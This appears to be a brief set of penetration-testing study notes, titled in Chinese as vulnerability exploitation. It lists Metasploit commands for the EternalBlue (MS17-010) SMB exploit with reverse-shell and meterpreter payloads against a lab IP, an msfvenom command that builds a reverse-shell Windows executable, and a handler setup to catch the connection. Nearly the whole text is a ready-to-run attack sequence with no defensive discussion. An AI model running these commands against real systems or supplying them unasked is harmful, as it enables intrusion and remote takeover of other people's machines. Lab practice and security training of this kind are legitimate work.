# 08-弱點攻擊

## exploit & payload
https://www.exploit-db.com/

## metasploit
`$ msfconsole`
`msf5> use exploit/windows/smb/ms17_010_eternalblue`
`msf5> set payload windows/x64/shell/reverse_tcp`
`msf5> set payload windows/x64/meterpreter/reverse_tcp`
`msf5> show options`
`msf5> set rhosts 192.168.106.132`
`msf5> run`

https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/
`$ msfvenom -a x64 -p windows/x64/shell/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe`

`msf5> use exploit/multi/handler`
`msf5> set payload windows/x64/shell/reverse_tcp`
`msf5> set lhost <Local IP Address>`
`msf5> set lport <Local Port>`
`msf5> run`